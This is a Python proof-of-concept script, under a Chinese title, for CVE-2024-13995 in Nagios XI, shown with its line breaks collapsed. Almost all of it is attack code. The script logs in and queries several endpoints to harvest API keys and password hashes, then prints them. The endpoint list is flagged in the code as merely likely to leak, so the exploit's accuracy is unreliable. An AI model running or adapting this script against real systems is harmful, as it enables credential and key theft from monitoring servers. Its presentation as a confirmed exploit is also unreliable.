CVE-2024-13995 Nagios XI 认证用户敏感信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2024-13995 PoC - Nagios XI Authenticated Information Disclosure Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys from urllib.parse import urljoin def exploit_nagios_xi_info_disclosure(target_url, username, password): """ Exploit CVE-2024-13995 to extract sensitive user information including API keys and password hashes """ session = requests.Session() # Step 1: Login to Nagios XI login_url = urljoin(target_url, '/nagiosxi/login.php') login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } print(f'[*] Attempting login to {target_url}') response = session.post(login_url, data=login_data, allow_redirects=True) if 'nagiosxi' not in session.cookies.get_dict() and 'nagiosxi' not in response.text.lower(): print('[-] Login failed') return None print('[+] Login successful') # Step 2: Extract user information via API endpoint # Common endpoint that may leak information api_endpoints = [ '/nagiosxi/api/v1/objects/userinfo', '/nagiosxi/api/v1/system/userlist', '/nagiosxi/admin/users.php?expand=1', '/nagiosxi/includes/components/profile-manager/getuserinfo.php' ] sensitive_data = [] for endpoint in api_endpoints: try: url = urljoin(target_url, endpoint) response = session.get(url, timeout=10) if response.status_code == 200: # Look for sensitive fields text = response.text if 'api_key' in text.lower() or 'password_hash' in text.lower() or 'hash' in text.lower(): print(f'[+] Found potential sensitive data at {endpoint}') # Try to parse JSON response try: data = response.json() sensitive_data.append({'endpoint': endpoint, 'data': data}) except: sensitive_data.append({'endpoint': endpoint, 'data': text}) except Exception as e: print(f'[-] Error accessing {endpoint}: {e}') return sensitive_data if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python3 cve-2024-13995-poc.py <target_url> <username> <password>') print('Example: python3 cve-2024-13995-poc.py http://nagios-server.local admin nagios') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] results = exploit_nagios_xi_info_disclosure(target, user, pwd) if results: print('\n[+] Sensitive Information Found:') print(json.dumps(results, indent=2)) else: print('[-] No sensitive information extracted or target not vulnerable')